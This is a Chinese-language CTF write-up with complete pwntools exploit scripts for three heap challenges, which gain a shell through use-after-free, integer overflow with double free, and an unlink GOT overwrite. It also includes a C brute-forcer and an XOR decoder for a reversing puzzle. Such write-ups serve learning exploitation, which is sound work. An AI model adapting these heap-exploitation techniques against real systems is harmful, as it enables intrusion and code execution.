一、Pwn 1、login 先看保护机制:
除了pie,其他保护全开,这题因为pie是关的,但是做太多保护全开的题目,下意识已经觉得堆的地址是变的了,但是堆地址是不变的,所以饶了下弯路才走出来,下面进入正题:
熟悉的菜单堆题,这里漏洞点主要在于free函数,有个UAF的漏洞,还有在login时可以打印出密码,这里应该是泄露地址的地方
但是按照一般的方式去unsorted bin的attack不行,这里利用pie关闭,可以采用爆破的方式去泄露地址,一个字节一个字节地去泄露,从而得到libc_base,利用任意地址写,改malloc_hook为onegadget,这题就没了。
具体来说,需要注意细节,这里堆块申请后,有个0x18大小的辅助堆块
如下:
1 2 3 4 5 struct chunk {char *heap;char *puts ;int heap_size;}
辅助堆块大小已经知道,利用UAF,我们可以实现的是控制这个辅助堆块(只要申请0x18大小,既可以得到),就可以实现UAF的漏洞了,直接UAF是利用不成功的,因为内容堆需要利用辅助堆上的地址去找,当辅助堆放到fastbin时,fd会被置为0,也就是说,控制不了,但是如果控制了辅助堆块,就可以往这个位置写堆地址了,然后就是一把嗖了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./login' ) if local: p = process('./login' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def login (index,size,content) : ru("Choice:" ) sl('1' ) ru("Input the user id:" ) sl(str(index)) ru("Input the passwords length:" ) sl(str(size)) ru("Input the password:" ) sd(content) def register (index,size,content) : ru("Choice:" ) sl('2' ) ru("Input the user id:" ) sl(str(index)) ru("Input the password length:" ) sl(str(size)) ru("Input password:" ) sd(content) def edit (index,content) : ru("Choice:" ) sl('4' ) ru("Input the user id:" ) sl(str(index)) ru("Input new pass:" ) sd(content) def delete (index) : ru("Choice:" ) sl('3' ) ru("Input the user id:" ) sl(str(index)) def get_addr () : pwd = '\x7f' m = 1 for i in range(5 ): for j in range(0x100 ): fake = '' fake += p8(j) + pwd login(0 ,len(fake),fake) a = ru("---Menu---" ) if "Wrong password!" in a: continue else : if m==5 : return u64(a[-17 :-11 ].ljust(8 ,'\x00' ))-0x3c4b78 break else : edit(1 ,p64(0x603030 +3 -i)) pwd = p8(j) + pwd m +=1 break register(0 ,0x100 ,'a' *8 ) delete(0 ) register(1 ,0x18 ,p64(0x603030 +4 )) libc_base = get_addr() print "libc_base--->" + hex(libc_base)onegadget = libc_base + 0xf1147 malloc_hook = libc_base + libc.sym["__malloc_hook" ] fake_chunk = malloc_hook - 0x23 edit(1 ,p64(malloc_hook)) edit(0 ,p64(onegadget)) ru("Choice:" ) sl('1' *0x1000 ) p.interactive()
这题只有一个难点,就是爆破地址,然后就是利用UAF实现任意地址写,最后用scanf隐式触发malloc即可getshell,所以完全可以魔改掉这题,嘿嘿,只需要2次申请和1次free就可以实现。
2、boringheap 先看下保护机制发现
保护全开,直奔主题ida分析可得:看下edit函数
这里abs函数有个漏洞点,就是整数溢出,0x800000000,但是呢,这里后面有个求余操作,所以直接用好像无法实现漏洞利用,所以这里采用的方式是,选择size为0x30,这样0x80000000%0x30=-0x20,这是一个固定的漏洞点,现学现用吧,相当于往string的堆块的前0x20处写入,这样就可以重写本身的size,实现overlap了,接着伪造一下double free的链子,一条写入0x51,就会在main_arena上留下size头,这样如果知道libc地址就可以在另外一条链子上利用double free实现fake_chunk伪造,因为topchunk的地址在上面,所以我们直接修改它的地址,下一次切割就会从新的地址切割,但是呢,前面的一定要填充’\x00’,切记!!不然报错申请不出来的,这里直接改为malloc_hook上一点就可以了,上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 0 elf = ELF('./pwn1' ) if local: p = process('./pwn1' ) libc = elf.libc else : p = remote("8sdafgh.gamectf.com" ,10001 ) libc = ELF('./libc.so' ) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (addr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+addr))) else : gdb.attach(p,"b *{}" .format(hex(addr))) def bk (addr) : gdb.attach(p,"b *" +str(hex(addr))) def malloc (choice,content) : ru("5.Exit" ) sl('1' ) ru("3.Large" ) sl(str(choice)) ru("Input Content:" ) sd(content) def free (index) : ru("5.Exit" ) sl('3' ) ru("Which one do you want to delete?" ) sl(str(index)) def edit (index,where,content) : ru("5.Exit" ) sl('2' ) ru("Which one do you want to update?" ) sl(str(index)) ru("Where you want to update?" ) sl(str(where)) ru("Input Content:" ) sd(content) def show (index) : ru("5.Exit" ) sl('4' ) ru("Which one do you want to view?" ) sl(str(index)) malloc(2 ,'aaaaaaaa\n' ) malloc(2 ,'bbbbbbbb\n' ) malloc(2 ,'cccccccc\n' ) malloc(2 ,'dddddddd\n' ) malloc(3 ,'eeeeeeee\n' ) malloc(3 ,'ffffffff\n' ) malloc(3 ,'gggggggg\n' ) malloc(3 ,'hhhhhhhh\n' ) edit(1 ,0x80000000 ,'\x00' *0x10 + p64(0 ) + p64(0x1b1 ) + '\n' ) free(1 ) malloc(2 ,'ffffffff\n' ) show(8 ) ru('ffffffff' ) libc_base = u64(rc(6 ).ljust(8 ,'\x00' ))-0x3c4c0a -0x100 print "libc_base---->" + hex(libc_base)system = libc_base + libc.sym["system" ] main_arena = libc_base + 0x3c4b28 malloc_hook = libc_base + libc.sym["__malloc_hook" ] onegadget = libc_base +0xf1147 malloc(2 ,'eeeeeeee\n' ) malloc(2 ,'iiiiiiii\n' ) malloc(3 ,'kkkkkkkk\n' ) malloc(3 ,'llllllll\n' ) malloc(3 ,'mmmmmmmm\n' ) free(2 ) free(3 ) free(9 ) free(4 ) free(5 ) free(11 ) malloc(2 ,p64(0x51 )+'\n' ) malloc(2 ,'nnnnnnnn\n' ) malloc(2 ,'oooooooo\n' ) malloc(3 ,p64(main_arena+8 )+'\n' ) malloc(3 ,'pppppppp\n' ) malloc(3 ,'qqqqqqqq\n' ) malloc(3 ,'\x00' *0x38 +p64(malloc_hook-0x18 )) py = '' py += 'aaaaaaaa' + p64(onegadget)+'\n' malloc(3 ,py) ru("5.Exit" ) sl('1' ) ru("3.Large" ) sl('3' ) p.interactive()
这里学到了新姿势,当需要申请的堆块大小固定时,可以利用double free的双链来伪造fake_chunk攻击,改写topchunk地址。
3、silent 检查保护机制:
发现got表可改,同时pie没有开,因为打了太多保护全开的题目,所以这题一下没反应过来,unlink的技巧也一下手生了,同时时间有限,导致没能及时做出来这题,有点亏哎,这里复现下这题:
ida分析:
程序就3个功能,calloc、free、edit,这里只有2个堆块的操作,一个0x28,一个0x208,同时free函数有UAF的漏洞,这里很容易想到的是堆块的地址的覆盖,和之前打roarCTF一样,那个relloc的那题。这里同时想到的是edit函数可以实现的是溢出漏洞,修改size头,可以实现改前者堆块为free状态,同时再free自己实现unlink,之后就是常规操作了,这里直接上exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *from libformatstr import FormatStrcontext.log_level = 'debug' context(arch='amd64' , os='linux' ) local = 1 elf = ELF('./silent' ) if local: p = process('./silent' ) libc = elf.libc else : p = remote('116.85.48.105' ,5005 ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) onegadget64 = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() def debug (mallocr,PIE=True) : if PIE: text_base = int(os.popen("pmap {}| awk '{{print $1}}'" .format(p.pid)).readlines()[1 ], 16 ) gdb.attach(p,'b *{}' .format(hex(text_base+mallocr))) else : gdb.attach(p,"b *{}" .format(hex(mallocr))) def bk (mallocr) : gdb.attach(p,"b *" +str(hex(mallocr))) def malloc (index,content) : ru("4.Exit" ) sl('1' ) ru("2.Large\n" ) sl(str(index)) ru("Content:" ) sl(content) def edit (index,content) : ru("4.Exit" ) sl('3' ) ru("2.Large\n" ) sl(str(index)) ru("Content:" ) sl(content) def free (index) : ru("4.Exit" ) sl('2' ) ru("2.Large\n" ) sl(str(index)) malloc(2 ,"\n" ) malloc(1 ,"\n" ) malloc(1 ,"\n" ) free(2 ) for i in range(5 ): malloc(1 ,'\n' ) ptr = 0x6020d8 py = '' py += p64(0 ) + p64(0xb0 ) py += p64(ptr-0x18 ) + p64(ptr-0x10 ) py = py.ljust(0xb0 ,'a' ) py += p64(0xb0 ) + p64(0x180 ) edit(2 ,py) free(1 ) puts_got = elf.got["puts" ] free_got = elf.got["free" ] puts_plt = elf.sym["puts" ] py = '' py += 'aaaaaaaa' *2 py += p64(puts_got) py += p64(free_got) edit(2 ,py) edit(2 ,p64(puts_plt)) free(1 ) libc_base = u64(rc(6 ).ljust(8 ,'\x00' ))-libc.sym["puts" ] print "libc_base--->" + hex(libc_base)system = libc_base + libc.sym["system" ] edit(2 ,p64(system)) malloc(1 ,'/bin/sh\x00' ) free(1 ) p.interactive()
这里堆块要控制好size头,控制堆块布局,保证nextsize合法,满足unlink条件即可。
二、RE 1、puzzle | solved
这里分析逻辑,化简函数: 可以看到需要绕过5层的check,前面三个分别是,输入16个16进制的字符,每两个转成hex,然后将字符转成16进制数值,问题不大,xor可以通过动态调试得到xor的固定值: 第一个是0x7D,然后一个个调试出来得到:0x7C,0xAB,0x2D,0x91,0x2F,0x98,0xED,0xA9所以就是输入的明文异或这些数值加密,得到密文,密文进行了一个sort函数,这里需要爆破出一个排列组合,选择不同的运算方式得到特定值,8个数,10种运算结果,这里直接写个C语言脚本爆破跑一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 #include <bits/stdc++.h> using namespace std ;int a[10 ];typedef int ll;ll n1 = 0x39f ; ll n2 = 0x68 ; ll n3 = 0x209 ; ll n4 = 0x269 ; ll n5 = 0x12a ; ll n6 = 0x1a1 ; ll n7 = 0x8a ; ll n8 = 0x2c8 ; void init () { n1 = 0x39f ; n2 = 0x68 ; n3 = 0x209 ; n4 = 0x269 ; n5 = 0x12a ; n6 = 0x1a1 ; n7 = 0x8a ; n8 = 0x2c8 ; } bool gao () { bool result=false ; int *v1 = a; while ( 2 ){ switch ( *v1 ){ case 0 : n5 &= n1; n4 *= n5; goto LABEL_4; case 1 : if ( !n4 ) goto LABEL_6; n5 /= n4; n6 += n2; goto LABEL_4; case 2 : n3 ^= n2; n8 += n7; goto LABEL_4; case 3 : n8 -= n3; n3 &= n6; goto LABEL_4; case 4 : n2 *= n7; n4 -= n1; goto LABEL_4; case 5 : n7 ^= n4; n1 -= n8; goto LABEL_4; case 6 : if ( !n8 ) goto LABEL_6; n2 |= n6 / n8; n6 /= n8; goto LABEL_4; case 7 : n1 += n5; n2 |= n6; goto LABEL_4; case 8 : n7 *= n4; n3 -= n8; goto LABEL_4; case 9 : n5 += n2; n4 ^= n3; LABEL_4: if ( ++v1 != a + 8 ) continue ; if (n1 == 0xE7 ){ if (n2 == 0x3878 ) if (n3 == 0x3A71 ) int e=1 ; } result = (n1 == 0xE7 ) + (n2 == 0x3878 ) + (n3 == 0x3A71 ) + (n4 == 0xFFFFCC30 ) + (n5 == 0x10 ) + (n6 == 0x68 ) + (n7 == 0xFFFFFC49 ) == 7 ; if ( n8 != 0xFFFFFF11 ) goto LABEL_6; break ; default : LABEL_6: result = 0 ; break ; } return result; } } bool flag=false ;int cnt=0 ;void dfs (int p) { if (flag) return ; if (p == 8 ){ init(); if (gao()){ flag=true ; } return ; } for (int i=0 ;i<10 ;i++){ a[p]=i; dfs(p+1 ); } } int main () { dfs(0 ); }
所以现在就是知道密文,接着异或回去就可以得到明文输入了:
1 2 3 4 5 6 7 num = [0x7C ,0xAB ,0x2D ,0x91 ,0x2F ,0x98 ,0xED ,0xA9 ] sort = [6 , 1 , 4 , 9 , 5 , 0 , 7 , 2 ] flag = '' for i in range(8 ): flag += hex(sort[i]^num[i])[2 :] print flag
接着输入即可得到flag